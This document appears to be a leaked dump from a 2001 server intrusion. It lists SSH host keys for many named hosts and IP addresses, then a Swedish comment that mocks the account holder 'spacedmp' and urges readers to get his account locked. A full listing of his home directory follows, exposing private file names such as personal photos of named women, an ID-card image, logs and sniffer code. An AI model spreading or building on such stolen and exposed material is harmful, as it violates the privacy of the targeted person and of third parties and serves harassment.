ticket.remedy.nu 1024 35 118157298531954640965896698179168201062198977069443840990896146940517470425712576168300280623574379110887261136704960690182912090936930628938701605792330583699074042830925709382601199225440417729177406576053753925098706373831525349950993826304919383989436407769713720925775314270441579513577320488325932169493
sekure.net 1024 37 131730438055444723801679576466736432066733310276900651863374391293053840076367442465405961675485952775646635875717831392171679978199662806044041198026598512044744246719523431448950131088450122390306488937177265059783863656377903055819674367455811067326607875901384251053390646246599629171476081918273602297767
shuttle.krantz.pp.se 1024 35 142035628152859982327680120961274685368949944087137525733618248336126955476228561760096033832972479530491381383987742416921022823952941155331705755664705030391765448058393060029616059070116334685443904135446887128096972929917992350654389563006325873483338215682803841940602046573179117612349093466100508754347
kib1.ki.sw.ericsson.se 1024 37 158704687540278596677855903890296536999454713058140680232826323978478010733272965027222301932877780645020411565138535407303063931666033348872466913238877090683912594295041577690307118068895310201707465904235420086578005437519611966661575107630650203324872135311374553429690413308646457997236211811444278494757
kib7.ki.sw.ericsson.se 1024 35 104852542315026155191881191063643641508021960481612787287571115379642029895090333997015203061869121775394769678864463608835361786294457488286185707581291967954923901668250185389821989918542037550799975632901254645622174398887038992815434367857413452151704771711161370846492912391454558756546808876992747602497
silence 1024 35 139491544500668523798350653194025859166736145542929098499495947917660936437603579972706503661136545046505505433891819960390337005021801768479247369010003542403899128828603716724491623078935136428066163778346533397153692230185405469961465365127721832163695155757568892233970111276729505155552876501304077580497
petra.mds.mdh.se 1024 37 124719388884348581799284457414095137201335677716923991869742871029448411753569560903410260733658273253091199642525088089564747995133964912332244457857177837454699352275907091046296763921422647523061996444226623284914660015786399563435507427735861056474734150532703858219519642808242340577290966281180011095393
irc.freebsd.nl 1024 37 143085723475127757219276887882946267947529077422380818669796524505762023054977214391615102688776838081898074490645508677303046002798887253693529925625309515016541308727869475272442066302030103413829388525434527618224810483786879074320086248333211087115484931130068705085448113562271487277810743465825835616247
213.242.136.103 1024 35 115007862614296366652372413719504901035879393921322627284981730537005169259924507902252121692176859444911590743919805435703419011514879152297994920979490305336076906649874377225436392780149089219870749273525014034004938642669795236010493949302706672905609300785896420140031440176728659583567073329531797393337
mb.geek.se 1024 35 136221961276186357962321267553591838854784657845721493746417398060347567655507971332868405209545617746680496799238554833156279600104779305009852072138301184620086155854575978566260976099870971206823958516005555170582816496579278611057544711552001575965567657658250087336829838881052442817213936286016629887249
lab.linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
geek.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
www.kantarell.nu 1024 35 113835508057579667641576616246491759756101604668998539163854822935679807384854505756538986146139870756007736699863628477271975452261854080548885104633632020033296009085532081813414262842254381211684709870692649718188684303524323382287371461501458073404693800082254034111831632069657178687795876106962346675313
warez 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
fw 1024 35 142408778069536347830841840333642278628568929035810819049582757496663962381138170465552980391687006761465936577979077969110175815799101896012451653369979746915967680156574408893286831239790976910260103580995827666630628511839789031048867437040509576071863341544786884776908223248782981823147564962222545563179
www.fetbandsbolaget.nu,194.236.124.207 1024 35 113835508057579667641576616246491759756101604668998539163854822935679807384854505756538986146139870756007736699863628477271975452261854080548885104633632020033296009085532081813414262842254381211684709870692649718188684303524323382287371461501458073404693800082254034111831632069657178687795876106962346675313
chello-gw.krantz.pp.se,213.89.178.203 ssh-dss AAAAB3NzaC1kc3MAAACBAIhBjLqHWYd75MihhDXpAQ3Hk/2CnFT1iSOC5oT3HKMOtZ9jKDrxsE9rT2Z7nQYElcs10rVDcTI0vnQtjMpraKOt2p0z3KuCVzgtTc++V7kDaR9jGzG2Q21rZf7m/xGpjTWjaCpIPkrdG8c1UOnDtqRfaFKxQTAtoMuGU28FPG71AAAAFQDAEbuei1UUXphswCKJkmeACwhM4QAAAIEAgI/0dLn6LNpXlaGPwh4f4n2FwMgF+wLQEgyzAdFRJVVpg2bbmrNwcS+q9pKmTyqXQf6ffdYxSxYqyVlr9y2uq5Ypmw0VN8VeNfvEruRzl2py8e9OjmFktvaWSouewdWQwWai+MM6LjUvKjTnlTUKYgAhYL5UJHEc3DPgF+rFplwAAACABKht1GiC68WNWd4MJ7ciQ8tWkBXPovy6+vDFWiCpIhJceBMQPD0GHGivj/7vXm87/8w7MZO28pk2i/edeaqlskSNS3PgyDFDigzJLz3SPsk042vsjXKw9fLcbN5xvbVHa/a1RuQV/NL/oYghUBQ1Xzch507WBp1XhUb+ofTk5GQ=
warez.spacedump.pp.se 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
web.remedy.nu,217.78.33.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzODb4LqgNLJsq4yj2onHGgLxiVV5Fr7bk+Jw76/+AzpkJC1mWbSAJqb0FruxwXdt6zW8zd6nYx3ykcYzpwlU2bIKOAuK6FMXAJ9F7U5PYVPyWfNewkw58236hyamKqI4SBUvbjNhAJWZLkM6BGYKoKQ9FSRtmWQSW+FZpY3nMsM=
bettan.linux.se ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw/LVY6QiGIpCB2/fNObNXluJzzdsRX8feyQOpTtLd4KWPBoUZZVpRm0nkPIMcJhms0LVzK0RQWw/3J9J/vJpACQBMdqlIAcX1hmwW7zbABwoVlzMBGnVz/pqcUl9PsO8/pOB9ihgnKyOcrUItPyUhipU50cXYe62/paBBMAZ1N0=
birdie.org,195.58.102.38 1024 35 139215770721134631165840435133246542936457575569832547840725449750787634902827510805681976255449193566376182605688384350599762552274373156442881725731427335168845280986403679841602825046856595717584181164849298517807180166919656766868865818731391748570862615951764710932219567500051207747687036301490908879839
warez,194.236.124.48 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA0Oj0s6bGL/uXuSaUb9QGG1z3klcdivozVCBvMwe6wmGBTSuttwU7mMOhVEubqHiEVO0DsPzFXr8Sgjn94GmP5L8nQyRgkSkAxsvhM2r7RHCrP3uSZ82gB3zO8/AfzE0aQA1MokH5mA1GVJtlQ/+1la909aGfeSKXlLAHiZ8xzWE=


#
# Hgr_, Perrra, Sidewalk, Ahnberg, Chorus, #linux.se
# Att s� m�nga litar p� en kille som �r s� tok�gd.
# Och d� har vi �nd� editerat bort 3/4 av alla hosts.
#
# �r just DU drabbad/p�verkad av detta intr�nget?
# St�d oss i kampanjen "passwd -l spacedmp" f�r att begr�nsa framtida skador!
#


$ cd ..
$ ls
zonefiles_klubba-tm.tar
zones
zones2
-rw-r--r--   1 spacedmp spacedmp   142061 Apr 25  2001 2001-04-02.zip
-rw-r--r--   1 spacedmp spacedmp    80781 Apr 25  2001 2001-04-11.zip
-rw-r--r--   1 spacedmp spacedmp   142487 Apr 25  2001 wxrd-1.0.tar.gz
-rw-r--r--   1 spacedmp spacedmp   121141 Apr 27  2001 libusb-0.1.3b.tar.gz
-rw-r--r--   1 spacedmp spacedmp   606938 Apr 27  2001 gphoto-2.0beta1.tar.gz
-rw-r--r--   1 spacedmp spacedmp   717554 Apr 27  2001 imlib-1.9.10.tar.gz
-rw-r--r--   1 spacedmp spacedmp   709336 Apr 27  2001 gphoto-0.4.3.tar.gz
-rw-r--r--   1 spacedmp spacedmp   143744 Apr 27  2001 screen.jpg
-rw-r--r--   1 spacedmp spacedmp   164471 Apr 29  2001 autolice.gz
-rw-r--r--   1 spacedmp spacedmp      329 Apr 30  2001 .mime.types
-rw-r--r--   1 spacedmp spacedmp      288 Apr 30  2001 .mailcap
-rw-r--r--   1 spacedmp spacedmp  2023307 May  1  2001 kvirc-2.1.1.tar.gz
-rw-r--r--   1 spacedmp spacedmp  8664303 May  1  2001 qt-x11-2.3.0.tar.gz
drwxr-xr-x   5 spacedmp spacedmp     1024 May  1  2001 kvirc-2.1.1
drwxr-xr-x   2 root     root         1024 May  1  2001 geda-dl
drwxr-xr-x  10 spacedmp spacedmp     1024 May  1  2001 geda
-rw-------   1 spacedmp spacedmp      323 May  2  2001 gschem.log
-rw-r--r--   1 spacedmp spacedmp   140274 May  3  2001 micq-0.4.6-p4.tgz
drwx------   2 spacedmp spacedmp     1024 May  3  2001 help
-rw-r--r--   1 spacedmp spacedmp     3715 May  4  2001 Unit1.dcu
-rw-r--r--   1 spacedmp spacedmp     3351 May  4  2001 Unit3.dcu
-rw-r--r--   1 spacedmp spacedmp     3351 May  4  2001 Unit2.dcu
-rwxr-xr-x   1 spacedmp spacedmp   419284 May  4  2001 Project1
drwxr-xr-x   2 spacedmp spacedmp     1024 May  4  2001 mentor
drwxr-xr-x   3 spacedmp spacedmp     1024 May  4  2001 edwin
drwxr-xr-x   2 spacedmp spacedmp     1024 May  6  2001 spec
drwxr-xr-x   2 spacedmp spacedmp     1024 May  9  2001 Telia
-rw-r--r--   1 spacedmp spacedmp     1104 May  9  2001 strip.gif
-rw-r--r--   1 spacedmp spacedmp   189894 May 17  2001 Johanna_sofia.bmp
-rw-r--r--   1 spacedmp spacedmp   131598 May 17  2001 Tess_Johanna.bmp
-rw-r--r--   1 spacedmp spacedmp   429634 May 17  2001 bild01.bmp
-rw-r--r--   1 spacedmp spacedmp   496453 May 18  2001 cd00002.jpg
-rw-r--r--   1 spacedmp spacedmp      484 May 18  2001 drabant
-rw-r--r--   1 spacedmp spacedmp   125190 May 19  2001 w3cam-0.6.6.tar.gz
drwxr-xr-x   5 spacedmp spacedmp     1024 May 19  2001 cam
-rw-r--r--   1 spacedmp spacedmp      677 May 19  2001 konton
-rw-r--r--   1 spacedmp spacedmp    16448 May 23  2001 sms-libmodem.tgz
-rw-r--r--   1 spacedmp spacedmp    40021 May 23  2001 libmodem-1.3.tar.gz
drwxr-xr-x   4 spacedmp spacedmp     1024 May 23  2001 lib
-rw-r--r--   1 spacedmp spacedmp      200 May 23  2001 gardin
drwx------   4 spacedmp spacedmp     1024 May 23  2001 .opera
-rw-r--r--   1 spacedmp spacedmp       35 May 23  2001 minicom.log
-rw-------   1 spacedmp spacedmp       36 May 24  2001 sites
-rw-r--r--   1 spacedmp spacedmp  5835104 May 24  2001 samba-latest.tar.gz
-rw-r--r--   1 spacedmp spacedmp       14 May 24  2001 dell
-rw-r--r--   1 spacedmp spacedmp   409976 May 24  2001 remedy.db
-rw-r--r--   1 spacedmp spacedmp  1298109 May 27  2001 glftpd-lnx_1.23.tgz
-rw-r--r--   1 spacedmp spacedmp  5433806 May 27  2001 driving.mp3
-rw-r--r--   1 spacedmp spacedmp      114 May 28  2001 stuff-that-I-need
-rw-r--r--   1 spacedmp spacedmp    15360 May 29  2001 shellkonto-2.xls
-rw-r--r--   1 spacedmp spacedmp  1941676 May 29  2001 gnupg-1.0.6.tar.gz
drwxr-xr-x   3 spacedmp spacedmp     1024 May 31  2001 djdjd
-rw-------   1 spacedmp spacedmp       79 May 31  2001 ircd
-rw-r--r--   1 spacedmp spacedmp  5538731 Jun  2  2001 Cyanide-Angel_astray-01-Revelation_of_my_supremacy.mp3
-rw-r--r--   1 spacedmp spacedmp  6613917 Jun  2  2001 Cyanide-Angel_astray-02-Angel_astray.mp3
-r--------   1 spacedmp spacedmp      210 Jun  2  2001 free-mall
-rw-r--r--   1 spacedmp spacedmp      311 Jun  2  2001 linuxse-freehosting
-rwxr-xr-x   1 spacedmp spacedmp      242 Jun  2  2001 makehost
drwxr-xr-x   3 spacedmp spacedmp     1024 Jun  3  2001 ggjg
-rw-r--r--   1 spacedmp spacedmp       27 Jun  3  2001 .kvirc-2.1.1.rc
-rw-r--r--   1 spacedmp spacedmp     2044 Jun  3  2001 test.c
-rw-------   1 spacedmp spacedmp       46 Jun  3  2001 .wmpinboarddata
-rw-r--r--   1 spacedmp spacedmp  1174579 Jun  4  2001 FLUSWEp22-35.pdf
-rw-r--r--   1 spacedmp spacedmp   417814 Jun  4  2001 FLUSWEp42-47.pdf
-rw-r--r--   1 spacedmp spacedmp      331 Jun  8  2001 files
-rw-r--r--   1 spacedmp spacedmp  7391823 Jun  9  2001 fonts.tgz
-rw-r--r--   1 spacedmp spacedmp     1927 Jun 10  2001 .acrorc
-rw-r--r--   1 spacedmp spacedmp      125 Jun 10  2001 g�vle-f�rslag
-rw-r--r--   1 spacedmp spacedmp      149 Jun 11  2001 pluttan
-rw-r--r--   1 spacedmp spacedmp  1973923 Jun 12  2001 mutt-1.2.5i.tar.gz
drwx------   2 spacedmp spacedmp     1024 Jun 12  2001 Mail
-rw-r--r--   1 spacedmp spacedmp      434 Jun 12  2001 .muttrc
-rw-r--r--   1 spacedmp spacedmp    52483 Jun 13  2001 unrar-2.50.tar.gz
-rw-r--r--   1 spacedmp spacedmp    20310 Jun 13  2001 rational_server_perm.dat
-rw-r--r--   1 spacedmp spacedmp    88802 Jun 17  2001 mozilla-i686-pc-linux-gnu-0.9.1-installer.tar.gz
-rw-r--r--   1 spacedmp spacedmp    51470 Jun 17  2001 fweb10.jpg
drwxr-xr-x   3 spacedmp spacedmp     1024 Jun 17  2001 .mozilla
drwxr-xr-x   3 spacedmp spacedmp     1024 Jun 17  2001 .fullcircle
-rw-r--r--   1 spacedmp spacedmp      410 Jun 17  2001 moz-env
drwxr-xr-x  17 spacedmp spacedmp     1024 Jun 17  2001 .gimp-1.2
-rw-r--r--   1 spacedmp spacedmp       11 Jun 18  2001 eva-tidaholm
drwxr-xr-x   2 spacedmp spacedmp    20480 Jun 18  2001 picsdl
-rw-r--r--   1 spacedmp spacedmp     3001 Jun 19  2001 IrcLog.#Sverige
-rw-r--r--   1 spacedmp spacedmp     1542 Jun 22  2001 fake
-rw-r--r--   1 spacedmp spacedmp      106 Jun 27  2001 ohms
-r--------   1 spacedmp spacedmp        5 Jun 28  2001 sd-test
-rw-r--r--   1 spacedmp spacedmp 28277649 Jun 30  2001 pics.tar.gz
-rw-r--r--   1 spacedmp spacedmp      147 Jun 30  2001 opers.irc.linux.se.mlist
-rw-r--r--   1 spacedmp spacedmp      201 Jul  1  2001 UV
-rw-r--r--   1 spacedmp spacedmp   113506 Jul  4  2001 sd-visa-id.jpg
-rw----r--   1 spacedmp spacedmp     3579 Jul  6  2001 2219.c
-rwxr-xr-x   1 spacedmp spacedmp    14418 Jul  6  2001 2219
-rwxr-xr-x   1 spacedmp spacedmp    14418 Jul  6  2001 ex
-rwxr-xr-x   1 spacedmp spacedmp   565541 Jul  7  2001 dsc00421.jpg
-rw-r--r--   1 spacedmp spacedmp  1412638 Jul  7  2001 krb4-1.0.8.tar.gz
-rw-r--r--   1 spacedmp spacedmp  1890304 Jul  8  2001 BamseSaga1.mp3
-rw-r--r--   1 spacedmp spacedmp 258611200 Jul  8  2001 firewall-backup.tar
drwxr-xr-x   3 spacedmp spacedmp     1024 Jul  9  2001 removed-pics
-rw-r--r--   1 spacedmp spacedmp   659759 Jul  9  2001 ScrollZ-1.8l.tar.gz
-rw-r--r--   1 spacedmp spacedmp    15762 Jul 10  2001 Johanna2.jpg
-rw-r--r--   1 spacedmp spacedmp  3229698 Jul 10  2001 Jimi_Hendrix_-_Foxy_Lady.mp3
-rw-------   1 spacedmp spacedmp 13644979 Jul 11  2001 irc.log.gz
drwxr-xr-x   2 spacedmp spacedmp     1024 Jul 13  2001 patches
drwx------   5 spacedmp spacedmp     1024 Jul 14  2001 .netscape
-rw-r--r--   1 spacedmp spacedmp       23 Jul 18  2001 lunarstorm
-rw-r--r--   1 spacedmp spacedmp   700012 Jul 20  2001 asn.txt
-rw-r--r--   1 spacedmp spacedmp    13672 Jul 20  2001 as2.png
-rw-r--r--   1 spacedmp spacedmp    17215 Jul 20  2001 as1.png
-rw-r--r--   1 spacedmp spacedmp       10 Jul 20  2001 bokning
drwxr-xr-x   2 spacedmp spacedmp     1024 Jul 22  2001 jupe
-rw-r--r--   1 spacedmp spacedmp    10390 Jul 23  2001 cidr.c
-rw-------   1 spacedmp spacedmp     1537 Jul 24  2001 se-opers.log
-rw-r--r--   1 spacedmp spacedmp     3634 Jul 25  2001 jupe.tar.gz
-rw-------   1 spacedmp spacedmp    50362 Jul 25  2001 nisse.log.old
-rw-r--r--   1 spacedmp spacedmp     9647 Jul 26  2001 ume.to.log
-rw-r--r--   1 spacedmp spacedmp        0 Jul 27  2001 .signature
-rw-r--r--   1 spacedmp spacedmp 12359788 Jul 28  2001 x-stilletto_heels.zip
drwxr-xr-x   2 spacedmp spacedmp     5120 Jul 28  2001 pornpics
-rw-r--r--   1 spacedmp spacedmp   659759 Jul 28  2001 ScrollZ-1.8l.tar.gz.1
-rw-r--r--   1 spacedmp spacedmp      305 Jul 30  2001 ircnet.lusers
-rw-r--r--   1 spacedmp spacedmp      489 Jul 30  2001 efnet.lusers
-rw-r--r--   1 spacedmp spacedmp    25096 Aug  1  2001 tcptraceroute-1.2.tar.gz
-rw-r--r--   1 spacedmp spacedmp    25300 Aug  1  2001 stealth.grep
-rwxr-xr-x   1 root     root        38476 Aug  2  2001 htpasswd
-rwxr-xr-x   1 spacedmp spacedmp  6420632 Aug  2  2001 200108011008996653575.sql.bz2
-rw-r--r--   1 spacedmp spacedmp       19 Aug  3  2001 url
-rw-r--r--   1 spacedmp spacedmp      135 Aug  3  2001 irc.swipnet.se
drwxr-xr-x   2 spacedmp spacedmp     1024 Aug 12  2001 burken.nu
-rwxr--r--   1 spacedmp spacedmp    12288 Aug 18  2001 shell-20010704-20010810.xls
-rw-r--r--   1 spacedmp spacedmp      753 Aug 19  2001 burken.nu-nmap.log
-rw-------   1 spacedmp spacedmp     3201 Aug 19  2001 .micqrc
-rw-r--r--   1 spacedmp spacedmp      238 Sep 26  2001 spar
-rw-r--r--   1 spacedmp spacedmp    26937 Sep 29  2001 graphical.zip
-rw-r--r--   1 spacedmp spacedmp   132257 Oct  1  2001 jolli_tuttar.jpg
-rw-r--r--   1 spacedmp spacedmp   301428 Oct  7  2001 sanna_sover2.JPG
-rw-r--r--   1 spacedmp spacedmp    13380 Oct  7  2001 sanna_sover.JPG
drwxr-xr-x   2 spacedmp spacedmp     1024 Oct  8  2001 net
-rw-rw-r--   1 spacedmp spacedmp  1244286 Oct  9  2001 cap002.bmp
-rw-r--r--   1 spacedmp spacedmp  3755168 Oct 12  2001 Eldkvarn_-_K�rlekens_Tunga.mp3
-rw-r--r--   1 spacedmp spacedmp       49 Oct 13  2001 .packages
-rw-r--r--   1 spacedmp spacedmp      562 Oct 14  2001 buildgraphs.sh
-rw-r--r--   1 spacedmp spacedmp     2338 Oct 14  2001 fs02load.png
-rw-r--r--   1 spacedmp spacedmp      634 Oct 14  2001 mailstats
-rw-r--r--   1 spacedmp spacedmp   854153 Oct 15  2001 nmap-2.54BETA30.tgz
-rw-r--r--   1 spacedmp spacedmp     7582 Oct 15  2001 natverk1.txt
-rw-r--r--   1 spacedmp spacedmp    19603 Oct 15  2001 mysql.dump
-rw-r--r--   1 spacedmp spacedmp       22 Oct 19  2001 ericsson
drwxr-xr-x   7 spacedmp spacedmp     1024 Oct 19  2001 porno
-rw-r--r--   1 spacedmp spacedmp   671722 Oct 20  2001 irc2.10.3p3.tgz
drwxr-xr-x   2 spacedmp spacedmp     1024 Oct 20  2001 .ssh
-r--------   1 spacedmp spacedmp      125 Oct 21  2001 warez
-rw-r--r--   1 spacedmp spacedmp   176933 Oct 21  2001 LEX7.JPG
-rw-r--r--   1 spacedmp spacedmp   188678 Oct 21  2001 lex-n�rbild.JPG
-rw-r--r--   1 spacedmp spacedmp   141391 Oct 21  2001 LEX6.JPG
-rw-r--r--   1 spacedmp spacedmp   155575 Oct 21  2001 LEX5.JPG
-rw-r--r--   1 spacedmp spacedmp   178142 Oct 21  2001 lexochsladden.JPG
-rw-r--r--   1 spacedmp spacedmp   251443 Oct 21  2001 LEX3.JPG
-rw-r--r--   1 spacedmp spacedmp   326972 Oct 21  2001 LEX4.JPG
-rw-r--r--   1 spacedmp spacedmp   152896 Oct 21  2001 lex_i_luften.JPG
-rw-r--r--   1 spacedmp spacedmp   282558 Oct 21  2001 LEX1.JPG
-rw-r--r--   1 spacedmp spacedmp   150965 Oct 21  2001 lex_o_disktrasan.JPG
-rw-r--r--   1 spacedmp spacedmp   160200 Oct 21  2001 lex_o_siemens.JPG
-rw-r--r--   1 spacedmp spacedmp   176153 Oct 21  2001 lex_i_s�ngen.JPG
-rw-r--r--   1 spacedmp spacedmp   165986 Oct 21  2001 lex_tittar_ner.JPG
-rw-r--r--   1 spacedmp spacedmp   195964 Oct 21  2001 lex_o_sladden.JPG
-rw-r--r--   1 spacedmp spacedmp   219589 Oct 21  2001 lex_ser_kul_ut.JPG
-rw-r--r--   1 spacedmp spacedmp    58726 Oct 21  2001 BADRUM.JPG
-rw-r--r--   1 spacedmp spacedmp   154614 Oct 21  2001 BADRUM2.JPG
-rw-r--r--   1 spacedmp spacedmp   207511 Oct 21  2001 lex_i_fot�ljen.JPG
-rw-r--r--   1 spacedmp spacedmp   150018 Oct 21  2001 08-jolli.jpg
-rw-r--r--   1 spacedmp spacedmp   178690 Oct 21  2001 12-jolli.jpg
-rw-r--r--   1 spacedmp spacedmp     7744 Oct 21  2001 Sanna.jpg
-rw-r--r--   1 spacedmp spacedmp       51 Oct 22  2001 funet
drwxr-xr-x   2 spacedmp spacedmp     1024 Oct 22  2001 wap
-rw-r--r--   1 spacedmp spacedmp    35074 Oct 25  2001 lex_bord2.JPG
-rw-r--r--   1 spacedmp spacedmp   120611 Oct 25  2001 lex_i_famnen.JPG
-rw-r--r--   1 spacedmp spacedmp   201723 Oct 25  2001 closeup_lex.JPG
-rw-r--r--   1 spacedmp spacedmp   184130 Oct 25  2001 knarkadSanna.JPG
-rw-r--r--   1 spacedmp spacedmp   221898 Oct 25  2001 lex_sanna.JPG
-rw-r--r--   1 spacedmp spacedmp   196834 Oct 25  2001 lex_bord.JPG
-rw-r--r--   1 spacedmp spacedmp       13 Oct 27  2001 emmelie
drwxr-xr-x   2 spacedmp spacedmp     1024 Oct 27  2001 debian
-rw-r--r--   1 spacedmp spacedmp       81 Oct 28  2001 sjsjjs
-rwxr-xr-x   1 spacedmp spacedmp    12144 Oct 28  2001 tmp
-rw-r--r--   1 spacedmp spacedmp      357 Oct 28  2001 tmp.c
-rw-r--r--   1 spacedmp spacedmp    16002 Oct 30  2001 sanna_sjuk.JPG
-rw-r--r--   1 spacedmp spacedmp    11356 Oct 30  2001 sanna_sjuk2.JPG
-rw-r--r--   1 spacedmp spacedmp    16664 Oct 30  2001 sanna_sjuk3.JPG
-rw-r--r--   1 spacedmp spacedmp      293 Oct 31  2001 ipv6
-rw-r--r--   1 spacedmp spacedmp      138 Nov  2  2001 miffonisse
-rw-r--r--   1 spacedmp spacedmp      116 Nov  2  2001 taxi
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov  2  2001 ga2
-rw-------   1 spacedmp spacedmp     3453 Nov  4  2001 stenhagen
-rw-r--r--   1 spacedmp spacedmp     6140 Nov  4  2001 sverige2001
-rw-r--r--   1 spacedmp spacedmp 54956896 Nov  5  2001 holy_smal.mpg
-rw-r--r--   1 spacedmp spacedmp   245470 Nov  6  2001 phpBB-1.4.4.tar.gz
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov 11  2001 zones
-rw-r--r--   1 spacedmp spacedmp      785 Nov 12  2001 keff.logg
drwx------   2 spacedmp spacedmp     6144 Nov 13  2001 micq.log
-rw-r--r--   1 spacedmp spacedmp     4603 Nov 13  2001 Gos_hunden.jpg
-rw-r--r--   1 spacedmp spacedmp     5091 Nov 13  2001 Gos_hunden2.jpg
-rw-r--r--   1 spacedmp spacedmp    99634 Nov 13  2001 Bild_4.jpg
-rw-r--r--   1 spacedmp spacedmp    83591 Nov 13  2001 sjuk&frsuen.jpg
-rw-r--r--   1 spacedmp spacedmp   104732 Nov 13  2001 Bild_3.jpg
-rw-r--r--   1 spacedmp spacedmp   109165 Nov 13  2001 Marianne.jpg
-rw-r--r--   1 spacedmp spacedmp   104444 Nov 13  2001 Micke.jpg
-rw-r--r--   1 spacedmp spacedmp    94516 Nov 13  2001 Angelgirl.jpg
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov 13  2001 arin
-rw-r--r--   1 spacedmp spacedmp    74198 Nov 14  2001 Spd.jpg
-rw-r--r--   1 spacedmp spacedmp    71025 Nov 14  2001 Spd2.jpg
-rw-r--r--   1 spacedmp spacedmp    88413 Nov 14  2001 Spd3.jpg
-rw-rw-rw-   1 spacedmp spacedmp        0 Nov 15  2001 .nfs344cd29a00007de6
-rw-r--r--   1 spacedmp spacedmp        8 Nov 16  2001 hej
-rw-rw-rw-   1 spacedmp spacedmp        0 Nov 16  2001 .nfs344cda1f000084a3
-rw-rw-rw-   1 spacedmp spacedmp        0 Nov 18  2001 .nfs344cd24e000086e7
-rw-r--r--   1 spacedmp spacedmp    35735 Nov 18  2001 lovisa.JPG
-rw-r--r--   1 spacedmp spacedmp    43341 Nov 18  2001 lovisa_gestikulerar.JPG
-rw-r--r--   1 spacedmp spacedmp    44369 Nov 18  2001 lovisa_kaaaaxig.JPG
-rw-r--r--   1 spacedmp spacedmp    45058 Nov 18  2001 unknown1.jpg
-rw-r--r--   1 spacedmp spacedmp    38398 Nov 18  2001 unknown2.jpg
-rw-r--r--   1 spacedmp spacedmp    39475 Nov 18  2001 unknown3.jpg
-rw-r--r--   1 spacedmp spacedmp    18789 Nov 18  2001 lovisa_silferstedt.JPG
-rw-r--r--   1 spacedmp spacedmp    32173 Nov 18  2001 lovisa_tittar_ner.JPG
-rw-r--r--   1 spacedmp spacedmp       46 Nov 20  2001 funstuff
-rw-r--r--   1 spacedmp spacedmp   163487 Nov 21  2001 tptest.zip
-rw-r--r--   1 spacedmp spacedmp      725 Nov 22  2001 stockholm-bans
-rw-r--r--   1 spacedmp spacedmp     4693 Nov 23  2001 stockholm-clients
-rw-r--r--   1 spacedmp spacedmp      479 Nov 24  2001 zones2
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov 25  2001 test
drwx------   2 spacedmp spacedmp     1024 Nov 25  2001 .gnupg
-rw-r--r--   1 spacedmp spacedmp      106 Nov 25  2001 djdjdjd
-rw-r--r--   1 spacedmp spacedmp   239502 Nov 27  2001 droger.20011126.log
-rw-r--r--   1 spacedmp spacedmp    24352 Nov 27  2001 droger.20011127.log
-rw-r--r--   1 spacedmp spacedmp   315683 Nov 27  2001 droger.20011125.log
-r--------   1 spacedmp spacedmp       45 Nov 27  2001 k-line
-rw-r--r--   1 spacedmp spacedmp       13 Nov 27  2001 djdjdjdjd
-rw-r--r--   1 spacedmp spacedmp  1081040 Nov 29  2001 squid-2.4.STABLE3-src.tar.gz
-rw-r--r--   1 spacedmp spacedmp    22829 Nov 29  2001 stenhagen.lod
-rw-r--r--   1 spacedmp spacedmp    19573 Nov 30  2001 k-lines.log
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov 30  2001 slaktarn
-rw-r--r--   1 spacedmp spacedmp      109 Nov 30  2001 sjsjsjs
drwxr-xr-x   2 spacedmp spacedmp     1024 Nov 30  2001 hacka
drwxr-xr-x   2 spacedmp spacedmp     1024 Dec  2  2001 bin
drwxrwxr-x   2 spacedmp spacedmp     1024 Dec  3  2001 skrotaford
-rw-r--r--   1 spacedmp spacedmp        9 Dec  3  2001 molgan
-rw-r--r--   1 spacedmp spacedmp    89444 Dec  3  2001 AMsjuar.gif
-rw-r--r--   1 spacedmp spacedmp       13 Dec  3  2001 www.lunarstorm.se
-rw-r--r--   1 spacedmp spacedmp       34 Dec  5  2001 martin
-rw-------   1 spacedmp spacedmp    76353 Dec  7  2001 irclinuxse.log
-rw-r--r--   1 spacedmp spacedmp 11663341 Dec  8  2001 neo4-first(blood)install.wmv
-rw-r--r--   1 spacedmp spacedmp   114468 Dec  8  2001 mf.txt
-rw-r--r--   1 spacedmp spacedmp       13 Dec 12  2001 gunnur
-rw-rw-r--   1 spacedmp spacedmp     1835 Dec 12  2001 sniff.c
drwxrwxr-x   2 spacedmp spacedmp     1024 Dec 14  2001 porr
-rw-r--r--   1 spacedmp spacedmp      333 Dec 15  2001 ff
-rw-r--r--   1 spacedmp spacedmp     6602 Dec 15  2001 sd.tar.gz
-rw-r--r--   1 spacedmp spacedmp     6608 Dec 15  2001 sd2.tar.gz
drwxr-xr-x   2 spacedmp spacedmp     1024 Dec 15  2001 sniff
drwxr-xr-x   2 spacedmp root         1024 Dec 16  2001 mp3
-rw-r--r--   1 spacedmp spacedmp       33 Dec 18  2001 trackque
-rw-r--r--   1 spacedmp spacedmp      246 Dec 19  2001 hardcopy.14
-rw-r--r--   1 spacedmp spacedmp       89 Dec 19  2001 falcom
-rw-r--r--   1 spacedmp spacedmp    86016 Dec 25  2001 MOO.DLL
drwxr-xr-x   2 spacedmp spacedmp     1024 Dec 26  2001 sniff2
-rwxr-xr-x   1 spacedmp spacedmp    20310 Dec 27  2001 cidr
-rw-r--r--   1 spacedmp spacedmp       61 Dec 27  2001 smsm
-rw-------   1 spacedmp spacedmp 203385375 Dec 30  2001 ircnet.log.old.gz
drwxr-xr-x   3 spacedmp spacedmp     1024 Dec 30  2001 mp3dl
-rw-r--r--   1 spacedmp spacedmp     1943 Jan  1  2002 HOLMEN.TXT
